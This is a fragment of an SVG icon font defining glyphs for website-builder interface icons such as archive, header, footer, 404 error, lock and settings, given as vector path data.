<glyph glyph-name="archive" unicode="&#xe95e;" d="M896 788c54 0 100-38 104-88l0-8v-688c0-50-42-92-96-92l-8 0h-792c-54 0-100 38-104 88l0 8v688c0 50 42 92 96 92l8 0h792z m0-42h-792c-33 0-58-21-62-46l0-4v-688c0-25 25-50 58-50l4 0h792c33 0 58 21 62 46l0 4v688c0 25-25 50-58 50l-4 0z m-667-554c13 0 21-9 21-21v-83c0-13-8-21-21-21h-83c-13 0-21 8-21 21v83c0 12 8 21 21 21h83z m209-84c12 0 20-8 20-20 0-13-8-21-20-21h-125c-13 0-21 8-21 21 0 12 8 20 21 20h125z m208 84c12 0 21-9 21-21v-83c0-13-9-21-21-21h-83c-13 0-21 8-21 21v83c0 12 8 21 21 21h83z m208-84c13 0 21-8 21-20 0-13-8-21-21-21h-125c-12 0-21 8-21 21 0 12 9 20 21 20h125z m-646 42h-41v-42h41v42z m417 0h-42v-42h42v42z m-187 42c12 0 20-9 20-21 0-13-8-21-20-21h-125c-13 0-21 8-21 21 0 12 8 21 21 21h125z m416 0c13 0 21-9 21-21 0-13-8-21-21-21h-125c-12 0-21 8-21 21 0 12 9 21 21 21h125z m-625 208c13 0 21-8 21-21v-83c0-13-8-21-21-21h-83c-13 0-21 8-21 21v83c0 13 8 21 21 21h83z m209-83c12 0 20-9 20-21s-8-21-20-21h-125c-13 0-21 8-21 21s8 21 21 21h125z m208 83c12 0 21-8 21-21v-83c0-13-9-21-21-21h-83c-13 0-21 8-21 21v83c0 13 8 21 21 21h83z m208-83c13 0 21-9 21-21s-8-21-21-21h-125c-12 0-21 8-21 21s9 21 21 21h125z m-646 41h-41v-41h41v41z m417 0h-42v-41h42v41z m-187 42c12 0 20-8 20-21s-8-21-20-21h-125c-13 0-21 9-21 21s8 21 21 21h125z m416 0c13 0 21-8 21-21s-8-21-21-21h-125c-12 0-21 9-21 21s9 21 21 21h125z m-625 208c13 0 21-8 21-20v-84c0-12-8-21-21-21h-83c-13 0-21 9-21 21v84c0 12 8 20 21 20h83z m209-83c12 0 20-8 20-21s-8-21-20-21h-125c-13 0-21 9-21 21s8 21 21 21h125z m208 83c12 0 21-8 21-20v-84c0-12-9-21-21-21h-83c-13 0-21 9-21 21v84c0 12 8 20 21 20h83z m208-83c13 0 21-8 21-21s-8-21-21-21h-125c-12 0-21 9-21 21s9 21 21 21h125z m-646 42h-41v-42h41v42z m417 0h-42v-42h42v42z m-187 41c12 0 20-8 20-20 0-13-8-21-20-21h-125c-13 0-21 8-21 21 0 12 8 20 21 20h125z m416 0c13 0 21-8 21-20 0-13-8-21-21-21h-125c-12 0-21 8-21 21 0 12 9 20 21 20h125z" horiz-adv-x="1000" />

<glyph glyph-name="colors-typography" unicode="&#xe95f;" d="M896 808c55 0 100-41 104-93l0-7v-757c0-54-43-97-97-101l-7 0h-792c-55 0-100 41-104 94l0 6v758c0 53 43 97 98 100l6 0h792z m62-208h-916v-650c0-30 24-55 56-58l6 0h792c32 0 59 23 62 53l0 6v649z m-333-642c-5 0-9 2-13 5l-2 2-2 2-1-2c-2-3-5-5-8-5l-4-1-3-1h-84c-10 0-18 8-20 17l0 4v167c0 46 35 84 81 87l6 0 59 0-13 80c0 35 25 64 59 70l5 0 7 1c37 0 67-29 70-68l0-6-12-76 58 0c45 0 81-33 87-75l1-6 0-7v-166c0-11-7-19-17-21l-4-1h-250z m229 134h-325v-92h46l13 51c5 18 28 21 37 7l2-3 1-4 13-51h47v46c0 12 9 21 20 21 11 0 19-8 21-17l0-4v-46h42v46c0 12 9 21 21 21 10 0 18-8 20-17l1-4v-46h41v92z m-312 425c10 0 18-8 20-17l1-4v-99c0-27-38-28-42-4l-1 7c-1 8-7 14-15 15l-3 1-118 0 0-297c0-8 5-15 12-17l4-1 8-1c20-4 21-33 3-40l-3-1-5-1h-139l-4 1c-22 4-22 37 0 41l8 0c7 2 13 8 15 15l0 4 0 296-118 0c-8 0-15-5-17-12l-1-3-1-8c-4-22-37-22-41 0l0 4v100c0 10 7 19 17 20l3 1h417z m-21-42h-375v-21l2 1 5 1 0 0 6 1 6 0h138c11 0 19-7 21-17l0-4v-317c0-4 0-8-1-12l-1-5-1-2h24l0 2-2 5 0 0 0 6-1 6v317c0 11 8 19 17 21l4 0h139c3 0 8 0 11-1l6-1 2-1v21z m171-133c-15 0-27-11-29-22l-1-4 17-100c2-11-6-22-17-23l-4-1h-83c-24 0-43-18-45-41l-1-5v-13h325v13c0 22-15 40-36 44l-5 1-5 1h-83c-12 0-21 9-21 20l1 4 16 97c0 16-13 29-29 29z m204 425h-792c-32 0-59-24-62-54l0-5v-66h916v66c0 30-24 56-56 59l-6 0z m-771-63c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21" horiz-adv-x="1000" />

<glyph glyph-name="custom" unicode="&#xe960;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-549-87l3-3 150-150 135 136c14 13 30 20 48 21l7 0c15-1 30-7 42-17l5-4 55-56c26-26 28-68 4-96l-4-5-136-135 150-150c7-7 8-18 3-27l-3-3-126-126c-7-7-19-8-27-3l-3 3-150 150-100-100c-1-1-2-2-4-3l-3-1 0 0-1-1-178-51c-14-4-28 8-26 23l1 3 51 179 0 0 1 3 0 0 2 2 0 0 2 2 99 100-150 150c-7 7-8 18-3 27l3 3 126 126c8 8 19 9 27 3z m280-339l-98-97 136-135 97 97-9 9-23-24c-8-8-21-8-30 0-7 8-7 19-2 27l2 3 24 23-9 9-10-11c-9-8-22-8-30 0-7 7-8 19-2 27l2 3 10 11-8 8-24-23c-8-8-21-8-29 0-7 7-8 18-3 27l3 3 23 23-20 20z m-358-124l-31-107 108 31-77 76z m417 425l-5-1c-4 0-9-2-13-5l-3-3-377-377 98-97 376 376c5 5 8 11 8 17l1 4c0 7-2 13-6 18l-3 4-55 55c-4 4-10 7-17 8l-4 1z m44-41c8-7 8-18 3-26l-3-3-355-355c-8-8-21-8-29 0-7 7-8 18-3 27l3 2 355 355c8 8 21 8 29 0z m-395 32l-97-97 135-135 98 97-21 21-24-23c-8-8-21-8-29 0-7 7-8 18-3 27l3 3 23 23-9 9-10-11c-8-8-21-8-30 0-7 7-8 18-2 27l2 2 11 11-9 9-23-24c-8-8-21-8-30 0-7 7-7 18-2 27l2 2 24 24-9 8z" horiz-adv-x="1000" />

<glyph glyph-name="footer" unicode="&#xe961;" d="M896 788c58 0 104-42 104-92v-688c0-54-46-91-104-91h-792c-58 0-104 41-104 91v688c0 54 46 92 104 92h792z m62-667h-916v-117c0-29 29-50 62-50h792c33 0 62 25 62 50v117z m-62 625h-792c-33 0-62-25-62-50v-533h916v533c0 25-29 50-62 50z" horiz-adv-x="1000" />

<glyph glyph-name="header" unicode="&#xe962;" d="M896 788c54 0 100-38 104-88l0-8v-688c0-50-42-92-96-92l-8 0h-792c-54 0-100 38-104 88l0 8v688c0 50 42 92 96 92l8 0h792z m62-209h-916v-575c0-25 25-50 58-50l4 0h792c33 0 58 21 62 46l0 4v575z m-62 167h-792c-33 0-58-21-62-46l0-4v-75h916v75c0 25-25 50-58 50l-4 0z" horiz-adv-x="1000" />

<glyph glyph-name="layout-settings" unicode="&#xe963;" d="M896 808c55 0 100-43 104-97l0-7v-750c0-55-43-100-97-104l-7 0h-792c-55 0-100 43-104 97l0 7v750c0 56 43 101 98 104l6 0h792z m-750-354h-104v-500c0-32 24-59 56-62l6 0h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v62z m812 0h-770v-562h708c32 0 59 24 62 56l0 6v500z m-687-312c12 0 21-9 21-21 0-11-8-19-17-21l-4 0h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42z m125 0c12 0 21-9 21-21 0-11-8-19-17-21l-4 0h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42z m125 41c10 0 19-7 20-17l1-3v-42c0-11-8-19-17-21l-4 0h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h21v21c0 10 8 18 17 20l4 0z m0 125c10 0 19-7 20-17l1-3v-42c0-12-9-21-21-21-11 0-19 8-21 17l0 4v42c0 11 9 20 21 20z m0 125c10 0 19-7 20-17l1-3v-42c0-12-9-21-21-21-11 0-19 8-21 17l0 4v42c0 11 9 20 21 20z m-375 167h-104v-104h104v104z m812 0h-770v-104h62v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h41v104z m-62 167h-792c-32 0-59-25-62-57l0-6v-62h916v62c0 33-24 59-56 62l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="lightbox-expand" unicode="&#xe964;" d="M896 808c55 0 100-41 104-93l0-7v-757c0-54-43-97-97-101l-7 0h-792c-55 0-100 41-104 94l0 6v758c0 53 43 97 98 100l6 0h792z m62-208h-916v-650c0-30 24-55 56-58l6 0h792c32 0 59 23 62 53l0 6v649z m-545-146c12 0 21-9 21-21 0-10-7-18-17-20l-4 0h-71l149-150 149 150h-71c-10 0-19 7-20 17l-1 3c0 11 8 19 17 21l4 0 122 0c1 0 2 0 3 0l-3 0 2 0 0 0 3 0 0 0 3-1 0 0 2-1 0 0 2-2 0 0 2-1 2-2 0 0 2-3 0 0 1-4 0 0 1-2 0 0 1-2 0 0 0-2v-121c0-12-9-21-21-21-11 0-19 7-21 17l0 4 0 71-149-150 149-149 0 71c0 10 8 19 17 20l4 1c10 0 19-8 20-17l1-4v-122c0-1 0-3-1-4l-1-4 0 0-1-2 0 0-1-3 0 0-3-2-1-1 0 0-3-2 0 0-2-1 0 0-3-1 0 0-2-1-3 0h-122c-11 0-21 10-21 21 0 11 8 19 17 21l4 0 71 0-149 149-149-149 71 0c10 0 19-8 20-17l1-4c0-11-8-19-17-21l-4 0-124 0 0 0-4 1 0 0-3 1 0 0-3 2 0 0-2 2-2 1 0 0-2 3 0 0-1 4 0 0-1 3 0 2 0 0 0 123c0 12 9 21 21 21 10 0 18-8 20-17l1-4v-71l149 149-149 150v-71c0-11-8-19-18-21l-3 0c-11 0-19 7-21 17l0 4 0 122c0 1 0 1 0 2l0-3 0 2 0 0 0 3 0 0 1 3 0 0 2 3 0 0 1 3 0 0 2 1 1 2 0 0 3 1 0 0 2 2 0 0 3 0 0 0 4 1 0 0 123 0z m483 313h-792c-32 0-59-24-62-54l0-5v-66h916v66c0 30-24 56-56 59l-6 0z m-771-63c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21" horiz-adv-x="1000" />

<glyph glyph-name="error-404" unicode="&#xe965;" d="M896 788c57 0 104-42 104-94v-688c0-52-47-94-104-94h-792c-57 0-104 42-104 94v688c0 52 47 94 104 94h792z m0-42h-792c-35 0-62-24-62-52v-688c0-28 27-52 62-52h792c35 0 62 24 62 52v688c0 28-27 52-62 52z m-596-266c5 0 9-2 13-5 3-3 5-8 5-14 0-3 0-6-3-9l-86-149 0 0 22-1 0 0 29 0 0 0 18-1v52l1 4c2 4 4 7 6 9 3 3 7 4 11 4 4 0 9-1 12-4 2-2 5-5 6-8l1-5v-53h28l4-1c4-2 7-4 9-7 3-3 4-7 4-11 0-4-2-8-5-12-2-2-6-4-10-6l-4-1-19 0-7 0v-49l0-4c-1-5-3-9-6-12-4-4-8-6-13-6-4 0-8 2-11 5-3 3-5 7-6 12l-1 4v51l-85 1c-5 0-10 0-15 0-13 2-20 9-20 20 0 2 0 4 1 6 11 20 22 40 34 60l17 30c17 29 35 59 52 89 2 4 5 7 8 9 4 1 7 2 10 2z m450 0c4 0 8-2 12-5 4-3 6-8 6-14 0-3-1-6-3-9l-86-149 0 0 21-1 0 0 29 0 0 0 19-1v52l1 4c1 4 3 7 6 9 3 3 7 4 11 4 4 0 8-1 12-4 2-2 4-5 6-8l1-5v-53h27l4-1c4-2 7-4 9-7 3-3 5-7 5-11 0-4-2-8-5-12-3-2-6-4-10-6l-4-1-19 0-7 0v-49l0-4c-1-5-3-9-6-12-4-4-9-6-13-6-4 0-8 2-12 5-3 3-5 7-6 12l0 4v51l-85 1c-5 0-10 0-15 0-14 2-20 9-20 20 0 2 0 4 0 6l17 30 0 0 18 30 42 74 26 45c3 4 6 7 9 9 3 1 6 2 10 2z m-242 5l10-1c7 0 13-2 20-5 6-3 12-6 18-10s12-9 17-14c8-9 15-20 20-32 5-11 9-24 11-36s3-26 3-39-1-25-2-38c-3-11-7-23-12-36-6-13-13-26-20-37-8-11-18-21-28-29-11-8-23-13-36-15-9-1-17-1-25-1-9 1-16 3-25 7-6 4-12 7-19 10-5 4-11 9-15 14-7 10-13 21-18 32s-7 23-9 35-3 25-3 37c0 13 1 25 3 37 1 13 5 26 10 40s12 26 20 38c8 12 18 21 30 29 12 8 25 12 40 13l10 1 0 0z m7-39c-8 2-16 1-24-1-8-2-16-7-23-13-10-9-18-22-24-38s-10-34-11-52-1-36 2-53 10-30 19-41c5-6 11-10 16-12 6-3 13-4 21-6 12 1 22 4 30 9s16 11 22 19 10 15 14 25c3 6 5 13 7 20l2 10 1 3 1 14 1 13c1 10 0 19-1 28-2 8-3 16-5 24s-5 15-10 23c-5 7-10 14-17 19-6 5-14 8-21 9z" horiz-adv-x="1000" />

<glyph glyph-name="theme-style" unicode="&#xe966;" d="M945 741c40-24 55-75 34-117l-4-7-183-292v-275l-1-7c-3-52-45-93-97-97l-6 0h-584l-6 0c-53 4-94 45-98 97l0 7v583l0 7c4 53 45 94 98 98l6 0h584l6-1c47-3 86-37 95-82l32 55c26 43 81 57 124 31z m-257-45h-584l-6 0c-29-3-53-27-56-56l0-7v-583l0-6c3-29 27-53 56-56l6-1h584l5 1c30 3 54 27 57 56l0 6v209l-33-53c18-51 1-115-47-159l-7-6c-75-63-202-69-273 6-10 10-7 26 5 33l3 1 2 1c4 2 10 5 17 11l0 3v267c0 10 7 18 17 20l4 0 196 0 24 42-533 0c-10 0-19 8-20 17l-1 4v167c0 10 8 18 17 20l4 0h542c10 0 18-7 20-17l1-3v-136l62 109v47l0 6c-3 30-27 54-57 56l-5 1z m-25-479c-35 36-81 38-118 2-10-9-16-19-22-31-3-5-4-9-6-14l-2-6-9-25c-8-26-16-40-31-55-10-9-18-17-26-23l-6-5-2-1 5-4c52-31 125-26 177 8l7 5 7 5c49 42 60 108 26 144z m-309 166c11 0 19-7 21-17l0-3v-292c0-11-7-19-17-21l-4 0h-229c-10 0-19 8-20 17l-1 4v292c0 10 8 18 17 20l4 0h229z m-21-41h-187v-250h187v250z m125 0l0-207c2 4 5 9 7 15l5 14 4 13 4 12c1 2 1 4 2 5l2 5 4 7c7 16 17 30 30 42 18 18 38 29 59 35l3 0 33 58-153 1z m217 31l-50-88c21-5 42-15 60-32l7-7 53 85-70 42z m185 321l-3-4-161-282 72-43 172 274c13 23 6 53-17 66-21 13-48 8-63-11z m-214-102h-500v-125h500v125z" horiz-adv-x="1000" />

<glyph glyph-name="search-results" unicode="&#xe967;" d="M896 788c57 0 104-42 104-94v-688c0-52-47-94-104-94h-792c-57 0-104 42-104 94v688c0 52 47 94 104 94h792z m0-42h-792c-35 0-62-24-62-52v-688c0-28 27-52 62-52h792c35 0 62 24 62 52v688c0 28-27 52-62 52z m-228-354c82 0 148-66 148-148 0-34-11-64-30-89l71-73c8-8 8-21 0-29-8-8-19-8-27-3l-3 3-71 72c-25-17-55-28-88-28-81 0-147 66-147 147s66 148 147 148z m-168-271c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h333z m168 229c-58 0-105-47-105-106s47-106 105-106 106 48 106 106-47 106-106 106z m-251-104c11 0 21-9 21-21 0-10-8-19-18-20l-3-1h-250c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h250z m41 125c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-291c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h291z m-83 125c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-208c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h208z m250 0c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-167c-11 0-20 9-20 21 0 10 7 19 17 20l3 1h167z m208 0c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-125c-11 0-20 9-20 21 0 10 7 19 17 20l3 1h125z m-416 125c11 0 21-9 21-21 0-10-8-19-18-20l-3-1h-250c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h250z m416 0c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z" horiz-adv-x="1000" />

<glyph glyph-name="single-post" unicode="&#xe968;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-63-625c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-666c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h666z m0 125c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-666c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h666z m-544 365l1-4 105-292c3-10-2-22-13-26-9-4-20 1-25 9l-2 3-25 70h-119l-25-70c-3-9-13-15-23-13l-3 0c-10 4-15 14-14 23l1 4 104 292c7 17 29 18 38 4z m544-240c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z m-562 167l-45-125h89l-44 125z m562-42c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z m0 125c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z" horiz-adv-x="1000" />

<glyph glyph-name="site-identity" unicode="&#xe969;" d="M896 808c55 0 100-45 104-101l0-7v-742c0-57-43-104-97-108l-7 0h-792c-55 0-100 45-104 101l0 7v742c0 57 43 104 97 108l7 0h792z m62-208h-916v-642c0-35 25-63 56-66l6 0h792c32 0 59 26 62 60l0 6v642z m-604-125c127 0 229-102 229-229 0-68-29-128-75-170l-9-8 0 0c-9-7-17-13-26-19l-11-6 0 0-10-5 0 0-10-4-12-5 0 0-9-3 0 0-5-1 0 0-6-2 0 0-10-2 0 0-13-2 0 0-11-1 0 0-7-1 0 0-5 0c-3 0-6-1-10-1l-14 1 0 0-14 1 0 0-6 1 0 0-11 1 0 0-11 3 0 0-5 1 0 0-10 3 0 0-6 3 0 0-4 1 0 0-8 3 0 0-9 4 0 0-9 5 0 0c-10 5-19 11-28 17l-10 8 0 0c-51 42-83 106-83 177-1 128 102 230 228 230z m0-292c-50 0-94-27-117-69l-4-8-1-2 5-4 9-7 0 0 7-5 8-5c4-2 9-5 14-7l8-3 7-3c5-2 10-4 15-5l9-2 11-2c6-1 13-2 20-2l9-1 5 0 0 0 7 1 8 1 11 1 7 2 0 0 5 1 9 2 9 3 9 4c5 2 9 3 14 6l10 5 0 0 8 5c3 1 6 4 8 6l8 5 4 5-1 2c-19 41-59 70-105 76l-8 1-8-1z m500 0c11 0 19-7 21-17l0-3v-84c0-10-7-19-17-20l-4-1h-208c-11 0-19 8-21 17l0 4v84c0 10 8 18 17 20l4 0h208z m-21-41h-166v-42h166v42z m-479 291c-103 0-187-84-187-187 0-41 13-78 35-109 19 33 48 58 82 73-21 20-34 47-34 78 0 57 47 104 104 104s104-47 104-104c0-31-13-58-34-78 35-15 64-40 83-73 22 31 35 68 35 109 0 103-84 187-188 187z m0-83c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m500 83c11 0 19-7 21-17l0-3v-84c0-10-7-19-17-20l-4-1h-208c-11 0-19 8-21 17l0 4v84c0 10 8 18 17 20l4 0h208z m-21-41h-166v-42h166v42z m63 375h-792c-32 0-59-27-62-61l0-6v-58h916v58c0 35-25 63-56 66l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="theme-builder" unicode="&#xe96a;" d="M550 79c29 0 50-21 54-50l0-4v-100c0-29-21-50-50-54l-4 0h-100c-29 0-50 21-54 50l0 4v100c0 29 21 50 50 54l4 0h100z m375 0c29 0 50-21 54-50l0-4v-100c0-29-21-50-50-54l-4 0h-100c-29 0-50 21-54 50l0 4v100c0 29 21 50 50 54l4 0h100z m-750 0c29 0 50-21 54-50l0-4v-100c0-29-21-50-50-54l-4 0h-100c-29 0-50 21-54 50l0 4v100c0 29 21 50 50 54l4 0h100z m375-41h-100c-4 0-12-5-12-9l0-4v-100c0-4 4-13 8-13l4 0h100c4 0 13 5 13 9l0 4v100c0 4-5 13-13 13l0 0z m375 0h-100c-4 0-12-5-12-9l0-4v-100c0-4 4-13 8-13l4 0h100c4 0 13 5 13 9l0 4v100c0 4-5 13-13 13l0 0z m-750 0h-100c-4 0-12-5-12-9l0-4v-100c0-4 4-13 8-13l4 0h100c4 0 13 5 13 9l0 4v100c0 4-5 13-13 13l0 0z m325 375c8 0 17-9 21-17l0-4v-104h229c79 0 146-67 146-146 0-13-8-21-21-21s-21 8-21 21c0 54-41 100-96 104l-8 0h-229v-104c0-13-8-21-21-21-8 0-17 8-21 17l0 4v104h-229c-58 0-104-46-104-104 0-13-8-21-21-21s-21 8-21 21c0 79 63 141 138 146l8 0h229v104c0 12 9 21 21 21z m83 416c55 0 100-41 105-96l0-8v-167c0-54-42-100-96-104l-9 0h-166c-54 0-100 42-104 96l0 8v167c0 54 41 100 95 104l9 0h166z m0-41h-166c-34 0-59-25-63-59l0-4v-167c0-33 25-58 59-62l4 0h166c34 0 59 25 63 58l0 4v167c0 33-25 58-58 63l-5 0z" horiz-adv-x="1000" />

<glyph glyph-name="download-bold" unicode="&#xe96b;" d="M572 808h-144c-23 0-43-19-43-43v-300h-157c-31 0-48-39-25-62l272-272c14-13 36-13 49 0l273 272c22 23 6 62-26 62h-157v300c1 24-19 43-42 43z m386-873v200c0 24-19 43-43 43h-262l-88-88c-36-36-94-36-130 0l-88 88h-262c-24 0-43-19-43-43v-200c0-24 19-43 43-43h830c24 0 43 19 43 43z m-222 42c0 20-16 36-36 36-19 0-35-16-35-36 0-19 16-35 35-35 20 0 36 16 36 35z m79 36c20 0 36-16 36-36 0-19-16-35-36-35-20 0-36 16-36 35 0 20 16 36 36 36z" horiz-adv-x="1000" />

<glyph glyph-name="share-arrow" unicode="&#xe96c;" d="M946 467l-279 250c-25 21-63 4-63-29v-130c-366-4-533-345-562-520 196 225 321 291 562 295v-141c0-34 38-50 63-29l279 245c17 17 17 42 0 59z" horiz-adv-x="1000" />

<glyph glyph-name="global-settings" unicode="&#xe96d;" d="M816 302c49-10 92-36 127-74 3-4 5-10 5-16-1-4-3-9-6-12l-2-2c-9-7-12-18-6-27 4-8 13-11 22-9l4 1c5 2 11 2 16 0 6-3 9-7 12-12 8-26 12-50 12-73 0-24-4-48-12-74-2-5-6-10-12-12-4-2-8-2-13-1l-3 1c-10 4-21 1-26-8-5-8-4-17 3-24l3-2c4-3 7-9 8-15 0-6-1-11-5-16-34-38-78-64-127-73-1-1-2-1-4-1-4 0-9 2-12 4-4 3-7 7-8 12l-1 3c-1 11-10 19-20 19-9 0-17-6-20-16l-1-3c0-6-3-11-8-15s-11-4-16-3c-49 9-93 35-127 73-4 5-6 10-5 16 1 5 3 9 6 12l2 3c9 7 11 17 6 27-5 7-13 11-22 9l-4-2c-5-2-11-2-17 0-5 3-9 7-11 13-9 25-13 49-13 73 0 24 4 47 13 73 2 6 6 10 11 12 5 2 9 3 14 2l3-2c10-4 21 0 26 8 5 8 3 18-3 24l-3 3c-4 3-7 8-8 14-1 6 1 12 5 16 34 39 78 64 126 74 6 1 12 0 17-4 3-3 6-7 8-11l0-4c2-10 10-18 20-18 10 0 18 6 20 15l1 3c0 6 4 12 8 15 5 4 11 5 17 4z m-337 546c264 0 479-215 479-479 0-17 0-34-3-53-1-11-12-19-22-18-12 1-20 12-19 23 1 9 2 18 2 27l-416 0 0-416c9 0 18 1 27 2 11 1 22-7 23-19 1-11-7-21-18-23-19-2-36-2-53-2-264 0-479 215-479 479s215 479 479 479z m346-592c-10-20-31-33-54-33s-44 13-55 33c-27-8-51-23-73-43 12-19 13-43 2-63-12-20-34-31-56-30-4-15-6-29-6-43 0-14 2-27 6-42 22 1 44-10 56-31 11-20 10-44-2-63 22-20 46-35 73-43 11 20 32 33 55 33s44-13 54-33c28 8 52 23 73 43-10 17-12 39-4 58l3 5c12 20 33 32 56 31 4 15 5 29 5 43 0 13-1 27-5 42-23 0-44 10-56 30-12 20-10 45 1 64-20 19-45 34-73 42z m-367-158l-157 0c38-91 94-153 157-165l0 165z m-203 0l-119 0c52-67 124-118 207-145-36 36-66 85-88 145z m516 83c57 0 104-46 104-104s-47-104-104-104-104 47-104 104 46 104 104 104z m0-41c-35 0-63-28-63-63 0-34 28-62 63-62s62 28 62 62c0 35-28 63-62 63z m-562 208l-166 0c3-76 26-147 64-208l134 0c-17 55-28 118-31 185l-1 23z m249 0l-208 0c3-75 15-147 35-208l174 0v208z m-218 250l-133 0c-38-61-61-132-65-208l166 0c2 75 14 146 32 208z m218 0l-173 0c-20-62-33-133-35-208l208 0v208z m215 0l-173 0v-208l208 0c-2 68-13 133-30 191l-5 17z m179 0l-134 0c19-62 30-133 32-208l166 0c-3 70-23 137-57 195l-7 13z m-509 187l-10-4c-79-28-147-77-197-141l119 0c22 59 52 109 88 145z m-42-145l157 0 0 164c-60-11-114-69-153-154l-4-10z m199 165l0-165 158 0c-37 87-90 148-150 163l-8 2z m116-20l1-1c35-36 64-85 87-144l119 0c-53 66-125 117-207 145z" horiz-adv-x="1000" />

<glyph glyph-name="user-preferences" unicode="&#xe96e;" d="M167 829c11 0 21-9 21-21v-62h20c58 0 105-47 105-104v-84c0-57-47-104-105-104h-20v-562c0-12-10-21-21-21s-21 9-21 21v562h-21c-57 0-104 47-104 104v84c0 57 47 104 104 104h21v62c0 12 9 21 21 21z m333 0c12 0 21-9 21-21v-312h21c57 0 104-47 104-104v-84c0-57-47-104-104-104h-21v-312c0-12-9-21-21-21s-21 9-21 21v312h-21c-57 0-104 47-104 104v84c0 57 47 104 104 104h21v312c0 12 9 21 21 21z m333 0c12 0 21-9 21-21v-562h21c58 0 104-47 104-104v-84c0-57-46-104-104-104h-21v-62c0-12-9-21-21-21s-20 9-20 21v62h-21c-58 0-104 47-104 104v84c0 57 46 104 104 104h21v562c0 12 9 21 20 21z m42-625h-83c-35 0-63-28-63-62v-84c0-34 28-62 63-62h83c35 0 63 28 63 62v84c0 34-28 62-63 62z m-333 250h-84c-34 0-62-28-62-62v-84c0-34 28-62 62-62h84c34 0 62 28 62 62v84c0 34-28 62-62 62z m-334 250h-83c-35 0-62-28-62-62v-84c0-34 27-62 62-62h83c35 0 63 28 63 62v84c0 34-28 62-63 62z" horiz-adv-x="1000" />

<glyph glyph-name="lock" unicode="&#xe96f;" d="M500 842c149 0 272-115 283-264l0-10 0-10v-125h79c53 0 96-43 96-96v-392c0-53-43-95-96-95h-724c-53 0-96 42-96 95v392c0 53 43 96 96 96h79l0 126 0 11c6 151 131 272 283 272z m0-575c-42 0-76-31-82-71l-1-6 0-7v-93l0 0c5-41 40-73 83-73 40 0 74 28 82 67l1 6 0 0v93c0 46-37 84-83 84z m0 466c-91 0-167-70-174-158l-1-8 0-9 0-125h350l0 124 0 8c-4 94-81 168-175 168z" horiz-adv-x="1000" />

